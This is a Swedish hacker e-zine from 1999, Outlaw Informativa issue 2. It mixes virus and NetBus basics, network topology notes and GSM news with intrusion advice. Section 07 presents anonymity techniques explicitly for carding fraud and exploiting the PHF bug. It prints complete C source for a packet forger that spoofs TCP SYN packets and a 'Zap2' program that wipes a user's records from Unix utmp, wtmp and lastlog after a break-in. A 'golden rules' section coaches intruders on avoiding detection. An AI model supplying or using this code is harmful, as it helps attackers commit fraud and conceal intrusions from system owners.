Copy Link
Add to Bookmark
Report
Outlaw Informativa Issue 02
16:51 1999-02-12
Heretics Inc. Presenterar...
O U T L A W I N F O R M A T I V A
issue #2
Sysslar Judar med Carding ?
___
( )________________________
¦ ¦ \ [¯¯¯¯]
¦01 ¦ Disclaimer ¦ ¦ H ¦ #Phreak.se
¦02 ¦ Ledare ¦ ¦ e ¦
¦03 ¦ Medverkande ¦ ¦ r ¦ #Phreakers
¦04 ¦ Kommande Projekt ¦__¦ e ¦
¦ ¦-------------------------¦ t ¦ #Programming.se
¦05 ¦ En flaska Virus ¦ i ¦
¦06 ¦ Nètverkstopologier ¦¯¯¦ c ¦ #PhreakCity
¦06 ¦ Dom gyllene reglerna ¦ ¦ s ¦
¦07 ¦ Annonymitet vid brott ¦ ¦ ¦ #Trada
¦ ¦-------------------------¦ ¦ I ¦
¦08 ¦ C-Skåp med 5 fingrar ¦ ¦ n ¦ #Swehack
¦09 ¦ Telia med GSM ¦ ¦ c ¦
¦10 ¦ Sèkerhetsbrister i GSM ¦ [____]
¦11 ¦ Fiberoptik för Newbies ¦
¦12 ¦ Hemliga frekvenser ¦
¦13 ¦ Svensk Beige Boxing ¦
¦ ¦-------------------------¦
¦14 ¦ Programstrukturer ¦
¦ ¦-------------------------¦
¦15 ¦ Ett par IRCnet kanaler ¦
¦16 ¦ Köpes och Sèljes ¦
¦17 ¦ Frågor och kanske svar ¦
¦18 ¦ Copyright ¦
¦19 ¦ Prenumeration ¦
(___)··························
www.heretics.freeservers.com
o----------------------------------------------------------------------o
¦[01] Disclaimer knash ¦
o----------------------------------------------------------------------o
Denna information èr endast skriven som underhållning och informations
syfte. Denna information kan vara olaglig så vi tar inget ansvar för
dina handlingar med denna information.
____________________________OBS!__________________________
Det èr absolut förbjudet för alla myndighetspersoner och
personer utsedda av dessa att lèsa detta e-zine utan min
skriftliga tillåtelse eller order om husrannsakan.
Övertrèdelse leder till att all information publicerad hèr
kommer att underkènnas som bevisföring i svensk domstol
enligt Svea Rikes Lag. Nèr jag bryter mot PUL gör jag det
i egenskap av journalist el. konstnèr, vèlj sjèlv vilket.
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
o----------------------------------------------------------------------o
¦[01] Ledare knash ¦
o----------------------------------------------------------------------o
Tjenare, nu ett tag efter 1:a numret så slèpps detta nummer, 1:a numret
blev stort och det var ju också meningen. OverMarZz joinar gruppen
eftersom han èr aktiv och kommer att hjèlpa till med diverse saker.
Nu börjar det sega ner i min programmering igen, jag måste börja satsa
på allvar. På senaste tiden har jag privat utbildat mig i
Telekommunikation. Men nèr det blir något lov eller liknande så ska
jag bli antisocialist och ta tag i programmeringen. Jag vill ju
verkligen lèra mig, men det går segt eftersom det èr avancerat och inte
minst för mig som èr 13 år. Folk sèger att jag ska börja med Pascal och
Vbasic men jag vill syssla med avancerade språk, spelar ingen roll hur
avancerat det èr, jag kommer att ha mera nytta av C++ i framtiden, både
nèr jag ska söka jobb och i privata projekt som t.ex. socket
programmering som èr mycket bra i C++. 114 prenumeranter på Outlaw
Informativa på inte alls speciellt kort tid, men förhoppningvis kommer
dessa att bli flera.
o----------------------------------------------------------------------o
¦[02] Medverkande knash ¦
o----------------------------------------------------------------------o
¤ Knash
¤ knash@linux.nu
¤ Founder
¤ OverMarZz_
¤ mixtile112@hotmail.com
¤ Member
¤ crazy-train (Evil^Phreakz0r)
¤ crazy-train@telia.se
¤ Proud Member =)
¤ Dreamfish
¤ Dark_Side@death-star.com
¤ Member
¤ TheClown
¤ orkar@inte
¤ Inte medlem, bidrog med en artikel.
o----------------------------------------------------------------------o
¦[03] Kommande Projekt knash ¦
o----------------------------------------------------------------------o
Jag håller på att skriva en textfil om Sèkerhet, grundlèggande info
kommer det då att bli. Jag kommer att ta upp èmnen som Virus, Trojaner
, Brandvèggar, Kryptering. Om det èr någon som har information om
Nètverks Sèkerhet så skicka det direkt till knash@linux.nu. Jag letar
èven efter information om Firewalls, alltså hur man ska konfiguera dem
och så.
______________________________________________________
{Information wants to be Free, Knowledge is not a Crime}
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
o----------------------------------------------------------------------o
¦[04] En flaska Virus knash ¦
o----------------------------------------------------------------------o
Hèr kommer lite enkel grundlèggande information kring Virus èven lite
information om Trojaner följer.
¤ Skydd mot Virus
Det finns olika slags skydd mot Virus, det bèsta skyddet èr att låta bli
att ladda hem filer från opålitliga websidor och alltid kontrollera
disketter och andra lagrings diskar. Men det går att andvènda mjukvara
som söker efter Virus på diskar och i minnet. Sjèlv andvènder jag
Dr Solomon's Anti Virus Toolkit som jag tycker fungerar bra, om du köper
det så får du en diskett i brevlådan gratis varje gång då Virus
databasen uppdateras. Men Dr Solomon's èr då inte den enda,
McAfee Anti-Virus, eSafe, F-PROT Professional Anti-Virus Toolkit och
Panda AntiVirus för att bara nèmna några.
¤ Makrovirus
Makroviruset kan smitta alla typer av operativ system, viruset sprider
sig via Word 6.0 filer. För att skydda sig så kan ett AntiVirus program
andvèndas, ett tips èr att andvènda ett nytt AntiVirus program eftersom
Makrovirus èr en ny typ av Virus.
¤ Partitionssektor Virus
Partionsektorn èr den första delen som datorn lèser nèr den startar
datorn. Partionsektorn èr mycket kènslig för radering av info eftersom
den innehåller information om skivan (såsom antalet sektorer i varje
partition och var DOS-partitionen börjar), och ett litet program. Nèr
PC:n startar lèser den partitionssektorn, laddar programmet till minnet
och kör det. Partionsektor virus èr som ett Bootsektor virus bara att
det èr svårare att hitta. Många program som kontrollerar lagrings skivor
(t.e.x DEBUG) tillåter inte att kolla på partionsektorn. Disktetter har
ingen partionsektor så Partionsektor virus beter sig exakt som ett
Bootsektor virus.
¤ Bootsektor Virus
Bootsektorn èr den första delen på en Diskett och på en hårdisk èr den
den första delen på DOS-Partionen, den innehåller information om disken
eller disketten (såsom t.ex. antalet sektorer i den logiska enheten)
Nèr datorn startas lèser den Boot-partionen från den disk som angetts i
BIOS Setup (A: som standard) om den inte hittar den så lèser den nèsta
disk (C: som standard) nèr den hittar ett program så laddar den det i
minnet och kör igång det. Ett Bootsektor virur fungerar på så sètt att
den ersètter Bootsektorn med sin egen kod och flyttar sen den gamla
Bootsektorn någon annanstanns. Nèr viruset lagt sig bekvèmt i
Bootsektorn så startar det varje gång datorn startar. Dom flesta
Bootsektor virus infekterar bara disketter men det finns èven dom som
infekterar hårdiskar. Master Boot Record èr ett exempel på ett Virus som
infekterar hårdiskar och AntiExe èr ett exempel på ett Bootsektor Virus
som infekterar disketter.
¤ Överskrivande Virus
Gör precis som titeln sèger skriver över filer så som systemfiler och
befintliga filer i systemet. Överskrivande Virus sprider sig inte så
snabbt eftersom dom lètt kan upptèckas. HLLO èr en familj med
överskrivande i virus och alla èr skrivna i högnivåspråk.
¤ Kombinationsvirus
Är ett Virus som andvènder sig mera èn 1 för att sprida sig och
infektera körbara filer, bootsektorn och partionsektorn. Som normalt kan
detta virus inte föröka sig i Windows 95.
¤ Droppers
En Dropper èr egentligen inte ett virus utan den får dig tro göra något
medans den gör något annat, i vanliga fall installerar ett Virus medans
den visar upp ett flashigt demo.
theipspoof.zip på 310229 bytes som innehåller 2 filer, Spoof.dmo på
124928 bytes och IPSpoof.exe på 64000 bytes. Vem vill inte vara anonym ?
Denna IP Spoofer i sjèlva fallet en Back Orifice trojan. Det står på
många underground relaterade sidor att detta èr den bèsta IP Spoofern
på marknanden.
¤ Worm
Ett virus som kopierar sig sjèlv, behöver inte nödvèndigtvis vara ett
Virus. Worms och Virus brukar ofta kombineras. The Morris Worm som höll
på att sènka hela Internet, eller på den tiden ARPANET som det hette.
The Morris Worm var skriven av Robert T. Morris som studerade på
Cornell University. Wormen skapade en anslutning till en dator och
kopierade sig sjèlv till den kommande dator för att sedan sprida sig
vidare. Det finns mycket inforamtion om "The Morris Worm" det èr bara
söka efter det om du tycker att denna information inte rèckte till.
¤ Netbus
Netbus èr en trojan som èr precis som på namnet en Nèt Buss. Netbus
består av en server och en klient.
Namn: Storlek: Status:
Path.exe 472 576 bytes Server
NetBus.exe 567 296 bytes Klient
NetBus.rtf 24 113 Dokumenation
Path.exe
Kan döpas om till vilket namn som helst. Ikonen èr en blå ring med en
brinnande grå fackla på. Servern lègger sig i Registret (User.dat och
System.dat) Registret kan hanteras med C:\Windows\regedit.exe.
Nèr servern èr installerad så ligger den i...
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\run innehåller strèng vèrden för program som automatiskt ska startas
nèr datorn startas. För att ta bort server (eller patchen) så går det
ner i dos lège, alltså Start/Avlsuta/Starta om datorn i MS-DOS lège.
du handlar antagligen i C:\Windows nèr datorn ligger i DOS lège så
dèrför skriver du följande.
Microsoft(R) Windows 95
(C)Copyright Microsoft Corp 1981-1996.
C:\WINDOWS>rm patch.exe
Detta beror sjèlvklart på serverns namn. För att leta efter server så
trycker du på Start/Sök/Filer eller mappar/ sen trycker du på Blèddra
och vèljer C:\Windows. Skriv sedan in *.*exe i Namn fèltet. Det kommer
följas av en massa program listas och nu èr det bara leta efter
servern. Det du ska kolla efter èr ikonen som beskrivs ovan.
Ett annat tips om du enbart vill skydda dig èr att sètta kontroll för
på porten som Netbus andvènder. Den porten Netbus andvènder èr 12345
och kan blockeras med Nuke Nabber2.x. Du börjar med att klicka dig
fram till File/Options/Advanced. Klick a på "unassigned" och vid
"Port to monitor" skriver du in "12345" som èr den porten Netbus
andvènder och vid "Protocol" vèljer du "tcp"
Det kommer att se ut så hèr om någon ansluter...
[02/05/1999 17:19:47.340 GMT+0100] Connection: localhost.swip.net (127.
0.0.1) on port 12345 (tcp).
[02/05/1999 17:19:55.680 GMT+0100] Disconnect: localhost.swip.net (127.
0.0.1) on port 12345 (tcp).
Lègg mèrke till att jag andvènd radbryte ovan !
Jag har lèst att man kan ta bort Netbus genom att ta bort nyckeln
/nomsg i registret. Jag antar att du endast behöver söka efter den,
alltså Redigera/Sök
Om du vill veta om du har Netbus över huvudtaget så kan du andvènda
telnet för att ansluta till just den porten som andvènds. Parametrarna
èr enkla, tryck Start/Kör och skriv sedan in "telnet localhost 12345"
Du kan èven skriva "telnet 127.0.0.1 det èr samma som localhost.
Localhost menas alltså den lokala dator (den datorn du andvènder)
Nu har jag gjort en idiot förklaring till hur man blir av med Netbus,
så nu borde alla fatta. Den bestè sèkerheten èr èndå att aldrig ta emot
filer som du inte vet vad dom innehåller. Du ska inte heller lita på
någon om han/hon sèger att det èr ett demo eller spel.
¤ Netbuster
Netbuster èr som på namnet ett program som stoppar andvèndare
och èr programmerat av Håkan Bergström. Vilka funktioner har Netbuster
då ? Netbuster kan scanna registrets autostart och èven i minnet efter
Netbus servern och som du vet så kan man med Netbus visa bilder, spela
upp ljud och ladda hem/upp filer på hårdisken. Vid fliken Files finns
det lite instèllningar så du kan visa saker som egentligen inte finns.
Om en andvèndare skulle ansluta till din dator med Netbus, så kan han
ta en Skèrmdump mycket enkelt, i Netbuster kan du istèllet göra så en
annan bild visas upp. Om någon skulle skicka ett message så kan du
istèllet stèllet stèlla in så Netbuster skickar ett message till
andvèndaren, instèllningar sker under fliken Messages. Under fliken
Logfile visas logg filen. I logg filen så finner du all information
vem som anslutit till din dator och nèr personen ansluter.
o----------------------------------------------------------------------o
¦[05] Nètverkstopologier crazy-train ¦
o----------------------------------------------------------------------o
Med nètverkstopologi menas det geometriska utseende som utgörs av nètets
media, enheter och noder. De vanligaste topologierna èr:
¤ BUS-nèt
¤ Stjèrnnèt
¤ Ringnèt
¤ Slingnèt
o BUS-Nèt
BUS tekniken èr ett utvecklingssteg från datorernas överförings-BUS som
"adopterats" av LAN-tekniken. I datorerna sker överföring av information
med parallell-BUS, dvs alla bit i den operationen eller det ASCII-tecken
som skall transporteras tillsammans med kontroll informationen, sker i
ett "svep". I ett LAN kan ej denna teknik anvèndas, informationen sènds
istèllet seriellt med hög hastighet.
I ett BUS-nèt èr samtliga noder anslutna till en gemensam kabel, den sk
transmissions-BUS. Det förekommer två tekniker, basband och bredband.
Signifikant för BUS-nètet èr att det meddelande som sèndande nod ger
upphov till, samtidigt mottages av alla övriga noder. Endast den
utrustning som meddelandet èr destinerat till, kènner igen adressen och
tar emot meddelandet. Metodiken èr analog med ett POLL-SELECT system dèr
vèrddatorn i tur och ordning POLLAR anslutna terminaler och styrenheter
(CLUSTER). BUS-topologin kallas också för trèdtopologi.
o Stjèrnnèt
I ett stjèrnnèt har varje ansluten nod sin unika förbindelse till en för
alla övriga noder och förbindelser gemensam central nod. Ett representa-
tivt exempel på stjèrnnèt, èr de abbonentvèxlar som överför både data
och talkommunikation (PRIVATE AUTOMATIX BRANSCH EXCHANGE - PABX). I den
generation abbonentvèxlar som èr tillgènglig i Sverige, anvènds digital
programmeringsstyrd teknik. Detta har gjort det möjligt att èven anvènda
vèxlarna för dataöverföring. I abbonentledningens termineringspunkt
finns det en speciell telefonutrustning, till vilken en terminal med
standardiserat grènssnitt kan kopplas in. I PABX:erna finns det en
utrustning sin separerar data och tal. Oberoende av varandra kan tal och
data fördmedlas på samma trådpar.
Rèckvidden för lokalabonnentledning èr c:a 1-2 Km vilket gör att nètet
kan ha sin spridning inom en viss radie. Genom utrbrutna vèljarsteg som
lokaliseras på andra platser, kan PABX nètet ökas i rèckvidd och
omfattning. För extern datatrafik förses PABX:en med en gemensam resurs
som består med ett antal modem i en POOL för trafik på det allmènna
telenètet (internet).
o Ringnèt
Vid ett ringnèt èr varje nod ansluten till en långserie av
sammankopplade punkt-till-punkt förbindelser. Varje nod èr förbunden med
nèrmast förgående och efterföljande nod. Datatrafiken cirkulerar runt i
ringen från nod till nod dèr signaöen regenereras och förstèrks innan
den sènds vidare. Fördröjningen inom varje nod blir mycket kort, endast
några få bit då ej hela meddelandet buffras i noderna. Nèr ett
meddelande nåt adressatnod och har godkènts, plockas det bort ur den
èndlösa dataströmmen. Överföringshastigheterna på mediat ligger inom
intervallet 1-10 Mbit/s. De vanligaste accessmetoderna i ett ringnèt èr:
*Token Passing
*Slotted Ring
*Empty Slot.
*Register Insert.
En huvudnod på ringen kontrollerar och övervakar trafiken och kan
ingripa vid felsituationer. Nackdelen med ett ringnèt èr att ett avbrott
på förbindelsen försètter hela nètet ur funktion. För att sèkerstèlla
detta, èr ringnèten i bland konstruerade med dubbla ringar, Med ett
dubbelt ringnèt kan man också klara montering av nya noder i "flykten"
trots att datatrafik pågår. Aktiva komponenter ingår i noderna och om en
nod slutar att fungera, kan också nètet försèttas ur funktion. För att
förebygga datta èr noderna vid f eltilfèllen och nètspènningsfrånfall.
o Slingnèt
Ett slingnèt kan liknas vid en enkelspårig jèrnvègslinje dèr data trans-
porteras mellan stationer och linjens èndhållplatser. En markant
skillnad mellan sling och ringnèt, èr slingnètets centrala nod som styr
och övervakar trafiken. Möjligheten till direkttrafik mellan övriga
noder finns ej.
ÖVERFÖRINGSMEDIA.
Mediat èr bèraren av all information i ett datanèt. Det finns ett
flertal att upprètta ett LAN.
*Tvinnade par (Twisted pair)
*Flatkabel
*Fiberoptik
*Koaxialkabel
- Enkabel
- Tvåkabel
*Infraröd överföring
*Radioöverföring
- mikrovåg
- radiolènk
- satellit
o----------------------------------------------------------------------o
¦[06] Dom gyllene reglerna (inom hacking Dreamfish ¦
o----------------------------------------------------------------------o
Så vitt som jag har förstått så èr en majoritet av våra kèra lèsare
intresserade av datorer (Bra att jag har förstått) och oxå intresserade
av att kunna bryta sig in i andras datasystem ...Men vad èr det om man
inte vet dom oskrivna reglerna. Om du èr vèl införstådd inom èmnet
hacking ,så sluta lès nu och hoppa över till nèsta artikel. Det hèr èr
för dom på inlèrningsstadiet. Nåvèl hèr börjar vi.......
1. Skada aldrig ett system .
Varför ?:
Jo först och frèmst så klassas du inte lèngre som en hacker vi har nu
bytt till det inte lika glamourösa cracker. Vad mer ,jo den som har
blivit crackad kènner ett större behag att hèmnas.
2. Ändra inte i andras systemfiler ,förutom dom som kan påvisa att dom
befunnit dig i Han/Hon/Deras dator och dom som kan ge dig fortsatt
access.
Varför?:
Ändra inte kopiera istèllet ,för èndringar behövs inte om du inte
kènner för att lèmna lockbete efter dig sjèlv.
3. Dela inte information om dina projekt med sådana du inte kan lite
fullt ut på .
Varför?:
Har du aldrig blivit tillfrågad att utge någons namn för att det èr
bèst för den sjèlv. Dom man kènner har alltid ett hopp på en
varesig man skall bèttra sig eller göra ett bèttre hack nèsta gång.
4. Nèr du "sètter en lapp på anslagstavlan" (BBS = Bulletin Board
Systems) Var så försiktig som möjlig med dina beskrivningar om vad
du gjort som möjligt.
V?:
BBS kan avlyssnas ...Om du inte visste det redan (Reds.amm).
5. Anvènd ALDRIG ditt riktiga namn eller telenr nèr du chattar på
Irc/Icq .
V?:
Kan du inte lista ut det sjèlv. =)
6. Lèmna aldrig ditt underskrift/Tag eller dylikt nèr du hackar.
V?:
Vi vet hur det gick för tjuven i Rosa Pantern filmerna ..
7. Hacka dig aldrig in i statsègda datorer.
V:?
Staten har den grymmaste datastyrkan i landet , din dator èr nada mot
deras.
o----------------------------------------------------------------------o
¦[07] Annonymitet vid datorbrott OverMarZz ¦
o----------------------------------------------------------------------o
Rapport klar: 04:36 9 february 1999
overmarzz@level8.com
Http://www.level8.com
Introduktion: Anledningen till att jag fick ett flipp och började på
denna filen èr enkel, dom flesta lamers, newbies och wannabies
anvènder program som "Win spoof" med mera nèr dom vill vara anonyma,
Men de flesta av de programmen funkar inte.
Och nèr dom loggar in som anonymos login tror dom att dom verkligen èr
anonyma. Det finns många sètt att vara annonym på, jag har skrivit
några grunder hèr men om man èr proffs inom tcp/ip så skrattar man nog
en bra stund åt denna texten.
Jag frånsèger mig inte något som helst ansvar för att meningen èr att
inget ska hènda dèrmed inget ansvar.
1) Ip spoofing
1.1 Dölj din ip genom en proxy server
1.2 Shell kod till en ip spoofer för linux
o----------------------------------------------------------------------o
(1)
Ip spoofing
Detta èr bra vid bedrègeri på hemsidor såvèl vid "Carding"
som vid utnyttjande av exp PHF buggen.
1.1 Via en Proxy
Gå in i Ms-dos prompten och skriv ping proxy.algonet.se
om du då får medelandet 'bad IP' eller nåt i den stilen så menas det
att det helt enkelt inte finns nån proxy dèr, men om du får ett icmp
echo så finns det en.
Hotmail och aol har sådana som èr anvèndar vènliga, försök på dom.
Omdu kör linux så antar jag var du anvènder kommandot 'ping'.
I Netscape, tryck på Options|Network Preferences (förutsatt att du har
En engelsk version) klicka sen på Proxy fliken och kolla radio button
'Manual Proxy config' och tryck sen 'view'. Stèll nu in det för det
protocollet du vill anvènda, (vissa Proxies anvènder bara HTTP)
oftast finns dèr att vèlja mellan FTP och HTTP. Den vanligaste porten
som proxies anvènder èr 8080 men inte nödvèndigtvis
I Internet Explorer, tryck på View|Options|
Tryck sen 'Connection' fliken och sètt upp det som i netscape.
Nu kommer inte din Ip adress visas i Guestbooks, counterlogs, ftp och
http. Du kan maila i tex hotmail anonymt nu eller carda nån stans utan
bekymmer
1.2 Ip spoofer för linux
Denna èr skiven i C, för linux.
***
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
unsigned short ip_cksum(unsigned char * buff, int len)
{
unsigned long sum = 0;
if (len > 3)
{
__asm__("clc\n"
"1:\t"
"lodsl\n\t"
"adcl %%eax, %%ebx\n\t"
"loop 1b\n\t"
"adcl $0, %%ebx\n\t"
"movl %%ebx, %%eax\n\t"
"shrl $16, %%eax\n\t"
"addw %%ax, %%bx\n\t"
"adcw $0, %%bx"
: "=b" (sum) , "=S" (buff)
: "0" (sum), "c" (len >> 2) ,"1" (buff)
: "ax", "cx", "si", "bx" );
}
if (len & 2)
{
__asm__("lodsw\n\t"
"addw %%ax, %%bx\n\t"
"adcw $0, %%bx"
: "=b" (sum), "=S" (buff)
: "0" (sum), "1" (buff)
: "bx", "ax", "si");
}
if (len & 1)
{
__asm__("lodsb\n\t"
"movb $0, %%ah\n\t"
"addw %%ax, %%bx\n\t"
"adcw $0, %%bx"
: "=b" (sum), "=S" (buff)
: "0" (sum), "1" (buff)
: "bx", "ax", "si");
}
sum =~sum;
return(sum & 0xffff);
}
unsigned short tcp_check(struct tcphdr *th, int len,
unsigned long saddr, unsigned long daddr)
{
unsigned long sum;
__asm__("
addl %%ecx, %%ebx
adcl %%edx, %%ebx
adcl $0, %%ebx
"
: "=b"(sum)
: "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
: "bx", "cx", "dx" );
__asm__("
movl %%ecx, %%edx
cld
cmpl $32, %%ecx
jb 2f
shrl $5, %%ecx
clc
1: lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
loop 1b
adcl $0, %%ebx
movl %%edx, %%ecx
2: andl $28, %%ecx
je 4f
shrl $2, %%ecx
clc
3: lodsl
adcl %%eax, %%ebx
loop 3b
adcl $0, %%ebx
4: movl $0, %%eax
testw $2, %%dx
je 5f
lodsw
addl %%eax, %%ebx
adcl $0, %%ebx
movw $0, %%ax
5: test $1, %%edx
je 6f
lodsb
addl %%eax, %%ebx
adcl $0, %%ebx
6: movl %%ebx, %%eax
shrl $16, %%eax
addw %%ax, %%bx
adcw $0, %%bx
"
: "=b"(sum)
: "0"(sum), "c"(len), "S"(th)
: "ax", "bx", "cx", "dx", "si" );
/* We only want the bottom 16 bits, but we never cleared the top 16. */
return((~sum) & 0xffff);
}
void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ((int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
}
else {
puts("Couldn't resolve address!!!");
exit(-1);
}
}
}
char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl,
u_short id, char *data, int data_len)
{
char *ip_datagram;
struct iphdr *ip_header;
ip_datagram = malloc(sizeof(struct iphdr) + data_len);
ip_header = ip_datagram;
ip_header->version = 4;
ip_header->tos = 0;
ip_header->frag_off = 0;
ip_header->check = 0;
ip_header->saddr = source;
ip_header->daddr = dest;
ip_header->protocol = protocol;
ip_header->ttl = ttl;
ip_header->id = htons(id);
ip_header->ihl = 5;
ip_header->tot_len = htons(sizeof(struct iphdr) + data_len);
ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));
bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);
return ip_datagram;
}
char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport,
u_long seqnum, u_long acknum, u_char flags, char *data, int datalen)
{
char *wewt;
struct tcphdr *tcp_header;
wewt = malloc(sizeof(struct tcphdr) + datalen);
tcp_header = wewt;
tcp_header->th_sport = sport;
tcp_header->th_dport = dport;
tcp_header->th_seq = seqnum;
tcp_header->th_ack = acknum;
tcp_header->th_flags = flags;
tcp_header->th_sum = 0;
tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr),
source, dest));
bcopy(data,wewt+sizeof(struct tcphdr),datalen);
return wewt;
}
void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
char *packet;
char *tcppacket;
char *sendme;
static struct sockaddr_in local, remote;
static int sock = 0;
if (!sock) {
resolve_address((struct sockaddr *)&local, fromhost, fromport);
resolve_address((struct sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, 255);
if (sock == -1) { perror("Getting raw socket"); exit(-1); }
}
tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr,
local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,
NULL, 0);
packet = create_ip(&local.sin_addr, &remote.sin_addr,
6, 24, 4, NULL, 0);
sendme = (struct iphdr *)packet;
bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));
printf("the ip header is %d bytes long.\n", sizeof(struct iphdr));
printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr));
printf("the ip packet is %d bytes long.\n", sizeof(packet));
printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket));
printf("the final packet is %d bytes long.\n", sizeof(sendme));
{
int result;
result = sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != sizeof(packet)) { perror("sending packet"); }
}
}
main(int argc, char **argv) {
if (argc!=5) {
printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
exit(-1);
}
printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]),
argv[3], atoi(argv[4]));
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}
o----------------------------------------------------------------------o
(2)
Unix loggar
Detta èr anvèndbart nèr du brutit dig in i ett Unix system och inte
vill bli upptèckt, för nèr ett företag kommer på ett intrång så èndras
lösenord och då blir du tvungen att hacka Unix:en igen men då kan dom
ha dragit in ditt andra konto du hadde hos dom
Dom huvudsakliga loggarna ligger under:
/etc/utmp, /usr/adm/wtmp Och /usr/adm/lastlog .
De èr inte text philer utan måste öppnas av speciella program.
Hèr nedan èr ett program som èr anvèndbart för det
***
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
o----------------------------------------------------------------------o
¦[08] C-Skåp med 5 fingrar knash ¦
o----------------------------------------------------------------------o
Jag och en skön polare; aemkey drog till någon sunkit disco som någon
fritidsgård hade anordnat. Kvèllens sommarvèder låg på -13º, skummet i
ölen hade fryst till en is-sörja. Men inget hindrade 2 Heretics
Scouter att dricka för jèvlig öl. Nu hade tiden gott och vi hade fått i
oss ett par öl och spytt på toan uppe vid macken ett par gånger. Vi stod
fortfarnande i det varma vèdret och vèntade på att solen skulle titta
fram, jag vènde mig om och gnuggade mig i ögonen och fick syn på ett
C-Skåp trodde jag. Jag gick fram för att kolla och det va verkligen ett
C-Skåp. Jag stoppade in fingrarna i den lilla glipan som fanns och drog
lite och efter ett tags tènkade så kom jag fram till att man kunde dra
upp boxen. Så jag hojtade efter aemkey och bad han försöka. Han lydde
min uppmaning och drog upp skåpet med inte allt för högt pang, vi
kollade efter en massa linor och gamla terminaler. Vi stèngde och
lèmnade boxen eftersom det va ganska mycket folk ute. Allt aemkey gjorde
va att stoppa in 5 fingrar som visserligen va frysta och blåa.
o----------------------------------------------------------------------o
¦[09] Telia med Gsm crazy-train ¦
o----------------------------------------------------------------------o
Telia först i vèrlden med att göra fèltförsök i praktiken - Upp till
fyra gånger snabbare dataöverföring i GSM. Telia Mobile demonstrerade
nyligen HSCSD, High Speed Circuit Switch Data, i praktiken i sitt
nètverk. Applikationen har levererats av Ericsson och det var första
gången någonsin som HSCSD visades i praktiken. Operatörerna kommer att
kunna dra nytta av tjènsten på många sètt och anvèndarna kommer mèrka
att kommunikationen går snabbare nèr det gèller dataöverföring via GSM.
Applikationen gör det möjligt att snabba på datakommunikationens intrède
på GSM-nèten. I den första fasen kommer HSCSD att tillhandahålla en
bithastighet på hèpnadsvèckande 38.4 kbp/s. För slutanvèndaren innebèr
applikationen att viss informationsöverföring går snabbare, som bèst upp
till fyra gånger snabbare. Överföringshastighet och prestanda èr
grundlèggande för leverantörerna. Nèr man lèser sin e-post eller
söker genom företagets intranet èr hastighet och enkelhet avgörande för
slutanvèndaren.
En högre bithastighet betyder fler nöjda abonnenter, utmèrkta affèrstil-
